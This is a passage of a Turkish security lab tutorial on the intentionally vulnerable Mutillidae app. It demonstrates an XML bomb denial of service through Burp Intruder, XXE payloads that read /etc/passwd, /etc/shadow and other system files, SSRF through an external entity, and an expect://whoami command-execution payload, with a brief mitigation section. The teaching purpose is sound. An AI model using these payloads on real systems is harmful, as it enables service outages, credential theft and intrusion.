| OWASP 2010 ► | Sack 🥰 Help Me! | | |
| OWASP 2007 → Web Services → | Hints and Videos | | |
| Others > Labs > Documentation > Resources > | | | |
| Donate Want to Help? | | | |
| | | | |
| Video Tutorials | XML Submitted xml version="1.0" < <iodctype "11111111111111111111111111111111111<="" <ientity="" [="" node="" th="" x=""><th>]> <node>&x&x&x&x&x</node></th><th>;&x&x&x&x</th></iodctype> |]> <node>&x&x&x&x&x</node> | ;&x&x&x&x |
| - 🦃 | Text Content Parsed From XML | | |
| Announcements | | 111111111111111111111111111111111111111 | 1111111111 |
| Getting Started | | | |
| | | | I |

Payload'umuz çalıştığına göre şimdi nihai oluşan bu payload ile entity seviyesi kısıtına sahip, fakat yine de halen zafiyetli xml parser'a karşı xml bomb saldırısına geçelim.

a) Saldırıyı kısa sürede başarıya ulaştırabilmek için Mutillidae web servisinin kurulu olduğu sanal makinanın donanımsal özelliklerini

1 CPU 512 MB Ram şeklinde düşürelim.

b) Ardından Kali Linux sanal makinesinden XML Bomb zafiyetli mutillidae web servisi görüntüleyelim ve textarea girdi noktasına geçerli xml bomb payload'unu girelim.

Geçerli Xml Bomb Payload'u:

(

Payload'un tam hali şu linkten alınabilir.

https://www.includekarabuk.com/kitaplik/indirmeDeposu/XmlBombAttack.txt

-)
- c) Payload'u submit butonu ile textarea'dan gönderelim ve Burpsuite Pro ile isteği yakalayalım.
- d) İsteği Intruder'a gönderelim.
- e) Intruder sekmesinde sırasıyla şu adımları takip edelim:

i) Intruder->Positions->Clear \$

ii) Intruder->Payloads->Payload Type->Null Payloads

iii) Intruder->Payloads->Payload Options->Continue Indefinitely

iv) Intruder->Resource Pool->Name=XmlBombDoS2 & Tick Maximum concurrent request: **10**

v) Intruder->Options->Attack Results->Untick Store Requests & Untick Store Responses & Tick Use denial of service mode (no result)

f) Intruder'da Start Attack ile paketi tekrarlı olarak peşisıra gönderelim.

g) Kali Linux'da web tarayıcıda mutillidae web servise erişimler bu sırada kontrol edilir. Bir süre sonra hedef web sunucudaki kaynaklar tükenir ve hedef web sunucu servis dışı kalır.

| 🚦 192.1 🕲 XML 🕑 Türki G php f 🖤 PHP f 🛎 locali 🚦 192.1 G m | util 🔿 192.1 🗍 | 19 | × + | | ~ | - | | × |
|---|------------------|-----|------|-----|---|---|---|---|
| ← → × ☆ ③ 192.168.56.119/mutillidae/index.php?page=xml-validator.php | < | ☆ | 9 | C: | * | | h | : |
| B the B total B converting B therework of tode-star- | Importants | ٣ | 1564 | 10m | | | | * |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| — | | | | | | | | |
| This site can't be reached | | | | | | | | |
| 192.168.56.119 took too long to respond. | | | | | | | | |
| Try: | | | | | | | | |
| Checking the connectionChecking the proxy and the firewall | | | | | | | | |
| ERR_CONNECTION_TIMED_OUT | | | | | | | | |
| | | | | | | | | |
| Details | | Rel | oad | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |
| | | | | | | | | |

Bu şekilde saldırı tamamlanabilir. Saldırı durumu linux web sunucuda şu komut çalıştırılarak

Ubuntu 18.04 LTS Linux Terminal:

> gnome-system-monitor &

penceresindeki Resources sekmesi ile takip edilebilir. Bu komut çalıştırıldığında saldırı öncesinde cpu ve ram tüketimi şu şekildeyken;

| | | Mutillidae - U | buntu 18.04 LTS | [Running] - Or | acle VM VirtualE | lox | 000 |
|-----------|---|-------------------------------|-----------------|----------------|--------------------------------------|-------------------------------|---|
| File Ma | chine View Input D | evices Help | | | | | |
| Activitie | s 🛛 System Monito | r * | | Prş 10:39 🛛 | | | よ 🕪 自 👻 |
| 6 | | | E Processes | 🔊 Resources | 🛛 File Syster | | |
| 9 | ▼ CPU | | | | | | 100 % |
| | | | | | | | 60 % 40 % |
| | 1 min | i0 secs 4 | 0 secs | 30 secs | 20 secs | 10 secs | 20 % |
| A | Memory and Swap | | | | | | 100 % |
| ? | | | | | | | 50 % 60 % 40 % |
| • > | 1 min Memory | i0 secs 4 | D secs | 30 secs | 20 secs | 10 secs | 0% |
| • - | 397,8 MB Cache 166 Network | (80,1%) of 496,7 MB 5,4 MB | | | 909,6 MB (73,1 | 1%) of 1,2 GB | |
| | | | | | | | 1,0 KiB/s 819 bytes/s 614 bytes/s |
| | | | | | | | 409 bytes/s 204 bytes/s 0 bytes/s |
| | 1 min Receiving Total Rec | 0 bytes/s 283,6 MiB | D secs | 30 secs | 20 secs Sending 0 Total Sent 1 | 10 secs bytes/s 2,3 MiB | |
| | | | | | | 🔁 💿 🛄 🖶 🤌 🛄 [| 😐 🖅 🚺 🚫 💽 Right Ctrl |

saldırı sırasında cpu ve ram tüketim oranı %100'lere varmış şekilde görünecektir:



Saldırı sonlandırılırsa hedef web sunucudaki web servise erişimlerde mysql servisinin crash olduğu

uyarısı da ilaveten gelebilir. http://IP/mutillidae/ şeklinde mutillidae anasayfaya gidilmek istendiğinde database offline bildirim sayfası gelebilir.



Saldırıyı daha yüksek donanımlara sahip web sunucularda başarıyla uygulayabilmek için

- Xml bomb payload'unun yatay büyümesi arttırma,
- Eşzamanlı gönderilecek http talebi sayısı arttırma

uygulanabilir.

5.4.4 XML External Entity Injection (CWE-611, CAPEC-376)

Bu demoda XML External Entity Injection saldırısı gösterilecektir ve bu saldırı ile hedef linux mutillidae web servis sunucusunun hassas dosyalarını okuma, ayrıca ssrf saldırısı düzenleme yapılacaktır.

Kullanılan Materyaller Ubuntu 18.04 LTS // Fiziksel Makine Mutillidae - Ubuntu 18.04 LTS VM // Hedef Mutillidae Web // Servis Sanal Makine

Not: Mutillidae kasıtlı zafiyetler içeren web uygulamasının Ubuntu 18.04 LTS Linux'a kurulumu için bkz. <u>EK > Mutillidae Web API'yi Linux'a (Ubuntu 18.04 LTS Dağıtımına)</u> Kurma.

Açıklığın Açıklaması

XML dökümanların baş bölümünde DTD (Document Type Definition) adı verilen bir blok yer alır. DTD xml dökümanının gövdesindeki içeriğini (content'ini) doğrulamak (validate etmek) için kullanılır. XML dökümanı düzgün syntax'da bulunmakta mı kontrolünü sağlar. Bu DTD bölümleri içerisinde dahili varlıklar (internal entity'ler) ve harici varlıklar (external entity'ler) şeklinde iki özellik vardır. Bu özelikler ile dosya okuma, sistem kabuğunda komut çalıştırma gibi işlemler yapılması mümkündür. Bu ekli özellikler xml dökümanına esneklik kazandırmak maksadıyla yer almaktadır. Fakat kısıtlanmadıkları takdirde bu özelliklerin açık ve kulanılabilir olması siber saldırılara imkan tanımaktadır.

XML dökümanlarına daha yakında bakmak için xml dökümanı genel yapısına bir bakalım:

| XML PAYLOAD | |
|---|--------------------------|
| xml version="1.0" encoding="utf-8"? <login> <username>admin</username> <secret>hunter2</secret> </login> | XML Declaration XML Body |

XML dökümanlarında en başta declaration, sonra gövde bölümü gelir. Bu xml dökümanına aşağıda gösterilen kırmızı blok ile gösterilen <!DOCTYPE bölümü eklenirse bir DTD tanımlaması eklenmiş olur.

| xml version="1.0" encoding="utf-8"? •····· root [</th <th>·····→ XML Declaration</th> | ·····→ XML Declaration |
|--|------------------------|
| <pre><!--ENTITY % hax SYSTEM "file:///etc/passwd"--></pre> | li |
| <username>&hax</username> <secret>hunter2</secret> | |
| | Entity Parameter |
| | |

DTD (Document Type Definition) daha öncede dendiği gibi xml dökümanının gövdesini tanımlama yapar. Bu tanımlama xml dökümanının gövdesindeki düğümlerin ne şekilde olması gerektiğini (hangi düğümlerin hangi düğümleri içereceğini, hangi düğümlerin hangi özellikleri (attribute'ları) içereceğini, hangi düğümlerin hangi tür veri alacağını v.b.) söyler. Eğer XML

döküman gövdesi DTD'nin sunduğu tanımlara uyarsa döküman geçerliliğininden (validation'dan) geçmiş olur. Yani XML dökümanlarında DTD bölümü xml dökümanının geçerliliğine dair (validation'a dair) kuralları dizer. DTD bölümünde Entity (varlık) adı verilen özelliğe gelecek olursak DTD bölümü içerisinde entity'ler sıklıkla kullanılacak bir veri bloğunu değişkene atma ve yeri geldiğinde çağırma işlemi için kullanılırlar. Kabaca internal ve external olmak üzere ikiye ayrılırlar:

XML dökümanında <!DOCTYPE bloğunda;



tanımlaması yer alırsa bir dahili varlık (internal entity) tanımlanmış olur. Örneğin;



şeklindeki bir xml dökümanının DTD bölümünde dahili varlıklar (internal entity'ler) tanımlanmıştır ve xml dökümanın gövdesinde bu dahili varlıklar (internal entity'ler) çağırılarak kullanılmıştır.

XML dökümanında <!DOCTYPE bloğunda;

```
<!ENTITY entity-name SYSTEM "URI/URL">
```

tanımlaması yer alırsa ise bir harici varlık (external entity) tanımlanmış olur. Örneğin;



şeklinde. Siber saldırılar da bu external entity'ler aracılığıyla uygulanır.

XML parser'lar genel olarak varsayılan kurulumlarında harici varlıkları (external entity'leri) destekler halde gelirler. Üstelik uygulamalarca harici varlıklar (external entity'ler) normal kullanımlarında nadiren gerekli olsa da varsayılanda açık halde gelirler. Harici varlıkların (external entity'lerin) açık olması sebebiyle xml parser'ın dosya sistemindeki dosyalar referans edilebilir ve hassas nitelikteki dosyalar okunabilir, sunucuya /dev/random gibi bir dosya okuması yaptırılarak web sunucu servis dışı bırakılabilir. Ayrıca xml parser'a HTTP üzerinden network kaynakları

referans edilebilir ve sunucunun saldırı vekil sunucusu (attack proxy) olarak kullanılması sağlanabilir. Yani SSRF saldırısı düzenlenebilir.

SSRF örneğinde uygun zararlı girdinin (payload'un) kullanılmasıyla bir saldırgan uygulama sunucusuna etkileşim halinde bulunduğu diğer sistemlere saldırıda bulunmaya neden olabilir. Bu saldırıda bulunmaya sebep olacağı sistemler public (herkese açık) üçüncü taraf sistemler olabilir, uygulama sunucusuyla aynı organizasyondaki dahili sistemler olabilir veya uygulama sunucusunun loopback adaptöründeki kendisinde yer alan servisler olabilir. Network mimarisine göre harici saldırganların erişemediği dahili zafiyetli sistemler bu yolla açığa çıkabilir.

XML External Entity (XXE), diğer adıyla XML External Entity Injection (XXE Injection) bir web uygulama ya da web api'nin XML verisini filtrelemeden aldığında ve back-end'deki XML parser'ın gelen verideki external XML Entity ifadelerinin parse edilmesine izin verir yapılandırmada olduğu durumda meydana gelen bir açıklıktır. Bu açıklık yoluyla saldırganlar gönderdikleri xml verileri ile web sunucuda LFI, RCE, SSRF, ve DoS saldırıları düzenleyebilirler.

XXE saldırılarının yapılabilmesi web sunucunun xml girdisi almasına, web sunucudaki xml parser'ın bu girdiyi parse etmesine ve xml parser'da xml external entity desteğinin aktif (enabled) durumda olmasına bağlıdır.

Açıklığın Çözümü

Öncelikle mutillidae web servisin xml external entity injection zafiyetli sayfasına bir göz atalım.

OWASP 2017 -> A1 - Injection (Other) -> XML External Entity Injection -> XML Validator

İlgili sayfa şu şekildedir.

| 192.168.68.111/mutillidae/index.; × + | | ~ - O X |
|---------------------------------------|---|----------------------------|
| ← → C ☆ ▲ Güvenli değil | 192.168.68.111/mutillidae/index.php?page=xml-validator.php 🛛 🕸 🔄 😭 💡 | 🛡 C: 🛪 🗊 🖬 🚯 E |
| 📙 İslam 🛄 Oyun 🛄 Tubitak 📃 Onl | ine Filmler 📙 Siber Güvenlik 🛕 Bulut Notlar 📒 Stackoverflow Sorul 🥹 Singer Servis 🙄 TC Siber Güvenlik K 🏾 🍘 Cam | ıbly 🕞 Ubisoft Xbox Series |
| | OWASP Mutillidae II: Keen Calm and Pwn On | |
| | Version: 2.10.8 Security Level: 0 (Hosed) Hints: Enabled Not Logged In | |
| Но | ome Login/Register Toggle Hints Toggle Security Enforce TLS Reset DB View Log View Captured Data | |
| OWASP 2017 → | XML Validator | |
| OWASP 2013) | - · · · · · · · · · · · · · · · · · · · | |
| OWASP 2010 → | Back Help Me! | |
| OWASP 2007 → | Hints and Videos | |
| Web Services > | | |
| Others > | Please Enter XML to Validate | |
| | | |
| | | |
| | XML | |
| Donate | | |
| Want to Help? | | |
| | Validate Amil | |
| Video Tutorials | | |
| <u> 100</u> | | |
| Announcements | | |
| T | | |
| | | |
| Getting Started | | |
| Browser: Mozill | a/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Sa PHP Version: 7.2.24-0ubuntu0.18.04.13 | ıfari/537.36 |
| | | |
| | | |
| | | |
| | | |

Bu sayfada girdi olarak girilen XML verisi web sunucu tarafta parse edilmekte ve girdinin içerisindeki string geri yansıtılmaktadır.



XML Girdi Veriliyor

| 192.168.68.111/mutillidae | index: X + | ~ - O X |
|---------------------------|---|----------------------------|
| | ävenli değil 192.168.68.111/mutillidae/index.php?page=xml-validator.php 🔤 🖻 🚖 🐂 📍 | ♥ 0: ★ ≕ □ ⓑ : |
| 🛄 İslam 🛄 Oyun 🛄 T | ubitak 📙 Online Filmler 📙 Siber Güvenlik 🛕 Bulut Notlar 📒 Stackoverflow Sorul 🥹 Singer Servis 🕜 TC Siber Güvenlik K 🍘 Car | mbly 🕞 Ubisoft Xbox Series |
| | OWASE Mutillides III Keen Colmand Dum On | |
| | • OwasP Mutilidae II: Keep Calm and Pwn On | |
| | Version: 2.10.8 Security Level: 0 (Hosed) Hints: Enabled Not Logged In Home Login/Register Toggle Hints Toggle Security Enforce TLS Reset DB View Log View Captured Data | |
| OWASP 2017 → | XMI Validator | |
| OWASP 2013 → | | |
| OWASP 2010 → | Back 🥮 Help Me! | |
| OWASP 2007 → | ➡ Hints and Videos | |
| Web Services > | | |
| Others > | Please Enter XML to Validate | |
| Labs > | Example: <somexml><message>Hello World</message></somexml> | |
| Documentation > | | |
| Resources > | XML | |
| Donate | | |
| Want to Help? | | |
| | Validate XML | |
| Video Tutorials | <pre>Submitted <somexml><message>Hello World</message></somexml></pre> | |
| - | | |
| *** | Hello World | |
| Announcements | | |
| 1 | | |
| Getting Started | | |
| Bro | wser: Mozilla/5.0 (Windows NT 10.0: Win64: x64) AnnleWebKit/537.36 (KHTML like Gecko) Chrome/108.0.0.0. | afari/537 36 |
| Bio | PHP Version: 7.2.24-0ubuntu0.18.04.13 | |
| | VMI Van Almana | |

XML Yanıt Alınıyor

Böyle bir xml girdi ve parse edilmiş verinin geri yansıtılması mekanizmasına sahip web servise Xml External Entity Injection (XXE) saldırısı düzenlenebilir. Öncelikle web servis XXE açıklığına sahip mi kontrol için şu açıklık tespit payload'u kullanılabilir:

Açıklık Var mı Tespit Payload'u:

<!DOCTYPE foo [<!ENTITY test "Merhaba" >]> <xmlEtiketi><mesaj>&test;</mesaj></xmlEtiketi>

Bu payload sorunsuz çalışırsa ekrana Merhaba string'i basılacaktır.

| 6 | | |
|----------------------------|--|---|
| 192.168.68.111/mutillidae/ | (index; X + V - O X | |
| ← → C ☆ ▲ G | iövenli değil 192.168.68.111/mutillidae/index.php?page=xml-validator.php 🔤 🖻 🖈 😭 💱 🖓 💱 🖓 🗱 🗮 🔲 🚯 🗄 | |
| 📕 İslam 🛄 Oyun 📕 Tu | ubitak 📒 Online Filmler 📕 Siber Güvenlik 🛕 Bulut Notlar 📕 Stackoverflow Sorul 🥹 Singer Servis 🕐 TC Siber Güvenlik K 🐲 Cambly 😥 Ubisoft Xbox Series | |
| | OWASP Mutillidae II: Keep Calm and Pwn On | |
| | Version: 2 10 8 Security Level: 0 (Hosed) Hints: Enabled Not Longed In | |
| | Home Login/Register Toggle Hints Toggle Security Enforce TLS Reset DB View Log View Captured Data | 1 |
| OWASP 2017 → | XML Validator | |
| OWASP 2013 → | | |
| OWASP 2010 → | Back Sector Help Me! | |
| OWASP 2007 → | Hints and Videos | |
| Web Services > | | |
| Others > | Please Enter XML to Validate | |
| Labs > | Example: <somexmi><message>real vire from f vire f vire from f vire f</message></somexmi> | |
| Documentation > | <pre><multiketi><mesaj>&test</mesaj>/xmltiketi></multiketi></pre> | |
| Resources > | XML | |
| Donate | | |
| Want to Help? | | |
| | XML Submitted2 | |
| Video Tutorials | <pre></pre> | |
| <u> </u> | Text Content Parsed From XMI | |
| Announcemente | Merhaba 3 | |
| Announcements | | |
| 12 | | |
| Getting Started | | |
| Bro | wser: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 PHP Version: 7.2.24-0ubuntu0.18.04.13 | |

Görüldüğü gibi payload sorunsuz çalışmıştır. Yani enjekte ettiğimiz DTD ile dahili varlık (internal entity) sorunsuzca çalışmıştır. Dolayısıyla XXE açıklığı vardır. Şimdi XXE açıklığını kullanarak linux web sunucudaki hassas dosyaları okuyalım.

a) /etc/passwd Dosyasını Okuma

Girdiye şu external entity ekli payload verilerek açıklık istismar edilebilir.

Payload:

<!DOCTYPE foo [<!ENTITY test **SYSTEM ''file:///etc/passwd''** >]> <xmlEtiketi><mesaj>&test;</mesaj></xmlEtiketi>



b) /etc/shadow Dosyasını Okuma

Girdiye şu external entity ekli payload verilerek açıklık istismar edilebilir.

Payload:

<!DOCTYPE foo [<!ENTITY test **SYSTEM ''file:///etc/shadow''** >]> <xmlEtiketi><mesaj>&test;</mesaj></xmlEtiketi>

Not:

Payload'un düzgün çalışması için /etc/shadow dosyasının güvensiz yapılandırılmış olması gerekir. Bunun için Mutillidae - Ubuntu 18.04 LTS sanal makinasında /etc/shadow dosyası 777 iznine sahip kılınmalıdır:

Mutillidae - Ubuntu 18.04 LTS VM:

> sudo su
 > chmod 777 /etc/shadow
 // Parola girilir.
 // shadow dosyası güvensiz yapılandırılır.

| 🕴 192.168.68.111/mutillidae, | v - 0 |
|------------------------------------|--|
| | Güvenli değil 192.168.68.111/mutillidae/index.php?page=xml-validator.php 🕼 🖻 🖄 🍖 📍 🛡 🕻 🔅 🤿 🖬 🕅 🕕 |
| 📙 İslam 📑 Oyun 📑 T | Tubitak 📒 Online Filmler 📒 Siber Güvenlik 🛆 Bulut Notlar 📙 Stackoverflow Sorul 🥹 Singer Servis 🛞 TC Siber Güvenlik K 🂣 Cambly 😥 Ubisoft Xbox Series |
| | OWASP Mutillidae II: Keep Calm and Pwn On Version: 2.10.8 Security Level: 0 (Hosed) Hints: Enabled Not Logged In Home LogIn/Register Toggle Hints Toggle Security Enforce TL \$ Reset DB View Log View Captured Data |
| OWASP 2017 → | XML Validator |
| OWASP 2013 → OWASP 2010 → | Back 🥮 Help Me! |
| OWASP 2007 → | Hints and Videos |
| Web Services > | Place Pater VIII de Velidade |
| Others > | Please Enter AwiL to validate |
| Labs > Documentation > Resources > | <pre>Clamptc - Solitarine "Introduce Ford Chino and Chin</pre> |
| Donate Want to Help? | |
| Video Tutorials | Validate XML ZML Submitted <ld><ld><ld><ld><ld><ld><ld><ld><ld><l< th=""></l<></ld></ld></ld></ld></ld></ld></ld></ld></ld> |
| Announcements | Text Content Parsed From XML root1:10283:0.999997:::::daemont:18885:0.999997::::::::::::::::::::::::::::::: |
| | Browser: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 PHP Version: 7.2.24-0ubuntu0.18.04.13 |

c) Hosts Dosyasını Okuma

Hosts dosyası sistemde tanımlı host'ların adlarını verir. Girdiye şu external entity ekli payload verilerek açıklık istismar edilebilir.

Payload:

<!DOCTYPE foo [<!ENTITY test SYSTEM ''file:///etc/hosts'' >]>

<xmlEtiketi><mesaj>&test;</mesaj></xmlEtiketi>

| | Guveni değil 192.188.68.111/mutilidae/index.php?page=xml-validator.php Name 🗧 Com Form 🤰 Dar Samit 🚔 Surrest 🧧 Basarinovinst. 🖓 Exprimes 💭 K Bar Surrest. 🕊 Lenis 🖣 | Aut to Ire. |
|--------------------------------|--|---|
| | em owas | SP Mutillidae II: Keep Calm and Pwn On |
| | Version: 2.10 | 1.8 Security Level: 0 (Hosed) Hints: Enabled Not Logged In |
| OWASP 2017 → | Home Logininegister | |
| OWASP 2013 > | Back Generation Help Mel | |
| OWASP 2007 → | ↓ Hints and Videos | |
| Web Services > | | Please Enter YML to Validate |
| Labs > | | Example: <somexml><message>Hello World</message></somexml> |
| Documentation > Resources > | | (DECTORS <u>End</u> (-interret rosten (Interret)(Const -) (- (Interret)(C |
| Donate Want to Help? | | |
| | VIII Colombia | Validate XML 2 |
| Video Tutorials | <pre>ANL_SUBMITTED ADDCTYPE foo [<!--ENTITY test SYSTEM "file:///etc/hosts" -->]> cmlEtiketi>cmesaj>&testc/mesaj></pre> | • |
| Announcements | Text Content Parsed From XML- 127.0.0.1 mutilidae 127.0.0.1 mutilidae local 127.0.0.1 localhost 127.0.1.1 pentest-VirtualBox # The following lines are d | esirable for IPv6 capable hosts : 1 (p6-localhost (p6-loopback fe00 0 (p6-localhet ff00 0 (p6-mcastprefix ff02: 1 (p6-allioudes ff02 2 (p6-alliouders |
| 12 | | |
| Getting Started | 6 | |
| | Browser: Mozilla/5.0 (Windows NT | 10.0; Win54; x54) AppleWebKit/57.36 (KH IML, like Gecko) Chrome/109.0.0.0 Safari/537.36 PHP Version: 7.2.24-0ubuntu0.18.04.15 |

d) Resolv.conf Dosyasını Okuma

Resolv.conf sistemde kullanılan yerel DNS adresleri verir. Girdiye şu external entity ekli payload verilerek açıklık istismar edilebilir.

Payload:

<!DOCTYPE foo [<!ENTITY test SYSTEM "file:///etc/resolv.conf" >]> <xmlEtiketi><mesaj>&test;</mesaj></xmlEtiketi>

| | 💓 OWASP Mutillidae II: Keep Calm and Pwn On |
|------------------------------|--|
| | Version 2.16.8 Security Version (hinters (in histories) whites (in histories) (hinters (in histories)) (hinters (in histories)) (hinters (in histories)) (hinters (in histories)) (hinters)) (hinters)) |
| OWASP 2017 > | XML Validator |
| OWASP 2013 > OWASP 2010 > | Sect Sectors |
| OWASP 2007 > | Hints and Videos |
| Others > | Please Enter XML to Validate |
| Labs > | Example: <someuril>=message=Heilo World<imessage=< tr=""></imessage=<></someuril> |
| Documentation > | (IDENTIFY GAS DOTTO |
| Resources + | XDL Control (Contro) (Control (Contro) (Contro) (Contro) (Contro) (Contro)) |
| Donate Want to Help? | |
| | r XXI. Submitsd |
| Video Tutorials | |
| Announcements | The Constitute Face Face 28. |
| 72 | |
| Getting Started | b |
| | Browser: Mozilla/E.0 (Windows NT 10.0; Windex 44) ApplicativeSki/NS7.3.49 (NTHAL, like Gacko) Chrome/100.0.0.0 Safer/IS77.36 PPP Vension: 7.2.4 Output/windex/10.10 (NTHAL) Applications (NTHAL) (NTH |

e) Dev Dosyasını Okuma

Dev dosyası ile sistemde tanımlı network cihazlarının bilgisini verir. Girdiye şu external entity ekli payload verilerek açıklık istismar edilebilir.

Payload:

```
<!DOCTYPE foo [ <!ENTITY test SYSTEM ''file:///proc/self/net/dev'' > ]>
<xmlEtiketi><mesaj>&test;</mesaj></xmlEtiketi>
```

| | 🛶 OWASP Mutillidae II: Keep Calm and Pwn On |
|-----------------|--|
| | Version: 2.10.8 Security Level: 0 (Hosed) Hints: Enabled Not Logged In |
| | Home Login/Register Toggle Hints Toggle Security Enforce TLS Reset DB View Log View Captured Data |
| OWASP 2017 → | XML Validator |
| OWASP 2013 → | Sant Alan Mal |
| OWASP 2010 | |
| OWASP 2007 > | Hints and Videos |
| Web Services > | |
| Others > | Please Enter XML to Validate |
| Labs > | Example: <somexml><message>Hello World</message></somexml> |
| Documentation > | klooctver <u>foo</u> [(INTITY test SYSTE) "file///process/inct/de" > > |
| Resources > | van c <u>onfitikati</u> >cessaj>Rest;C/m <u>iftikati</u> > |
| | |
| Donate | |
| want to Help? | |
| | - VM Submitted |
| Video Tutorials | <pre>cmm.seu mm.seu cloctvrk fog { [lNITV test SYSTEM "file:///proc/self/net/dev" >]> cmlEtiketi>cessa)>k/mlEtiketi></pre> |
| | |
| 1 | Text Content Parsed From XML |
| Announcements | Inter- Receive Transmit face (bytes packets errs drop hto frame compressed multicast(bytes packets errs drop hto calls camer compressed to: 393810 4426 0 0 0 0 0 0 393810 4426 0 0 0 0 0 0 epoids: 58839/152 390809 0 0 0 0 5959 2908998 348/3 0 0 0 0 0 0 |
| 1 | |
| Getting Started | |
| | |
| | Browser: Mozilla/5.0 (Windows NT 10.0; Win64; x54) Apple/WebKit537.35 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 PHP Version: 7.2.2-4.0 Jubuntu 11.0.0 4.15 |

f) Sistem Versiyonunu Öğrenme

Sistem versiyonunu öğrenmek için 3 dosyadan yararlanılabilir. Girdiye şu external entity ekli payload verilerek açıklık istismar edilebilir.

Payload 1:

<!DOCTYPE foo [<!ENTITY test **SYSTEM ''file:///proc/version''** >]> <xmlEtiketi><mesaj>&test;</mesaj></xmlEtiketi>

| | XML Validator |
|--|--|
| Back 🥮 Help Me! | |
| ➡ Hints and Videos | |
| | Please Enter XML to Validate |
| | Example: <somexml>-message>Hello Wold/emagespe></somexml> <pre>(iDocryve fog [<lenttr 'file:="" system="" td="" test="" wessp<="" wesspiktertj.="" wesspiktertp.=""></lenttr></pre> |
| XML Submitted | |
| <pre><!DOCTYPE foo [<!ENTITY test SYSTEM "file:///proc/version" >]> <xmletiketi><mesaj>&test</mesaj></xmletiketi></pre> | ti> |
| -Text Content Parsed From XML- Linux version 5.4.0-128-generic (build@lcy02-amd64-064) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04) | 3)) #144~18.04.1-Ubuntu SMP Thu Sep 22 11.08.41 UTC 2022 |

Payload 2:

<!DOCTYPE foo [<!ENTITY test **SYSTEM ''file:///etc/lsb-release''** >]> <xmlEtiketi><mesaj>&test;</mesaj></xmlEtiketi>

| | XML Validator |
|--|---|
| Back 🔮 Help Me! | |
| Hints and Videos | |
| | Please Enter XML to Validate |
| VII Schmitted | Example: somexnl>-message-Hello Wolfd-/message/somexnl> ()correction fig. (startrr vas sostin (reses)s&sst//messj>/conitiketi) XML Validate XML |
| <pre>KML SUDMITTEd <!DOCTYPE foo [<!ENTITY test SYSTEM "file:///etc/lsb-release" >]> </pre> | :mlEtiketi>cmesaj>ätest;(/xmlEtiketi> |
| Text Content Parsed From XML DISTRIB_ID=Ubuntu DISTRIB_RELEASE=18.04 DISTRIB_CODENA | ME=bionic DISTRIB_DESCRIPTION="Ubuntu 18.04.6 LTS" |

Payload 3:

<!DOCTYPE foo [<!ENTITY test **SYSTEM ''file:///etc/issue''** >]> <xmlEtiketi><mesaj>&test;</mesaj></xmlEtiketi>

| | XML Validator |
|---|---|
| Back 🎯 Help Me! | |
| Hints and Videos | |
| | Please Enter XML to Validate |
| | Example: <somexml><message>Hello World</message></somexml> |
| | <pre>(clocryPe fog [<!--ENTITY test SYSTEM "file:///etc/issue" -->] <<u>umlEtiketi</u>><mesaj>&test </mesaj><<u>umlEtiketi</u>></pre> XML |
| XMI Submitted | Validate XML |
| <pre><!DOCTYPE foo [<!ENTITY test SYSTEM "file:///etc/issue" >]> <xmletiketi><mesaj>&test</mesaj></xmletiketi></pre> | |
| 3 Text Content Parsed From XML | |
| | |

g) SSRF Saldırısı Düzenleme

Hedef açıklıklı web sunucuyu proxy gibi kullanıp bu açıklıklı web sunucu üzerinden başka bir açıklıklı web sunucunun hassas dosyasını okuyabiliriz ve bu okumayı doğrudan biz yapmak yerine aracı olarak kullandığımız açıklıklı web sunucuya yaptırarak kendimizi saklayabiliriz. Bu işlem için girdiye örneğin şu external entity ekli payload verilerek açıklık istismar edilebilir.

Payload:

```
<!DOCTYPE foo [ <!ENTITY test SYSTEM
"https://www.includekarabuk.com/kitaplik/indirmeDeposu/mutillidae_xxe_ssrf_icin_dizin/
hesapbilgileri.txt" > ]>
<xmlEtiketi><mesaj>&test;</mesaj></xmlEtiketi>
```

Not:

Bu örnekte external entity'ye internetteki bir web sitesinin URL'si verildi. Fakat URL

kullanmak yerine zafiyetli hedef web sunucunun yerel ağında bulunan bilgisayarların yerel ip'leri de koyulabilirdi.



Görüldüğü gibi başka bir web sunucunun hassas dosyası açıklıklı bir web sunucu üzerinden okunmuştur.

Açıklığın Önlemi

Bu açıklığın kapatılmasında tek etkili yol geliştiricilerin istemciden gelen xml verisindeki xml external entity kullanımını tamamen önlemesinden geçer. OWASP ayrıca xml external entity engellemek yerine komple DTD işlemeyi engellemeyi ve geliştiricileri yalnızca statik, yerel DTD kullanacak şekilde kısıtlamayı tavsiye eder.

5.4.5 XML External Entity Injection 2 (CWE-611, CAPEC-376)

Bu demoda XML External Entity Injection saldırısı yine gösterilecektir, fakat bu sefer bu saldırı ile RCE (Remote Code Execution) alınması örneği gösterilecektir. Yani hedef Mutillidae web servisine XML External Entity saldırılarısı düzenleyip hedef web servis sunucusunun komut satırında sistem komutu çalıştırılacaktır.

Kullanılan Materyaller

Ubuntu 18.04 LTS

// Fiziksel Makine

Mutillidae - Ubuntu 14.04 LTS VM

Not: Mutillidae kasıtlı zafiyetler içeren web uygulamasının Ubuntu 14.04 LTS Linux'a kurulumu için bkz. <u>EK > Mutillidae Web API'yi Linux'a (Ubuntu 14.04 LTS Dağıtımına)</u> <u>Kurma.</u>

Açıklığın Çözümü

XXE'den RCE almak PHP web servislerde "expect" modülü yüklü ise yapılabilmektedir. Bu modül eski php sürümlerinde varsayılanda açıktır. Bu nedenle bu demoda hedef VM'imizde eski bir mutillidae web servisi ve eski bir php sürümü kullanılacaktır.

Mutillidae web servisinin xml external entity injection zafiyetli sayfası şuradaydı:

OWASP 2017 -> A1 - Injection (Other) -> XML External Entity Injection -> XML Validator

Bu sayfada girdi olarak girilen xml verisi web sunucu tarafta parse edilip string değeri geri yansıtılmaktaydı. Şimdi bu mekanizmada var olan açıklığı kullanarak bu sefer RCE (Remote Code Execution) alalım.

XXE ile RCE Alma

Payload:

<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe **SYSTEM ''expect://whoami''** >]> <somexml><message>&xxe;</message></somexml>

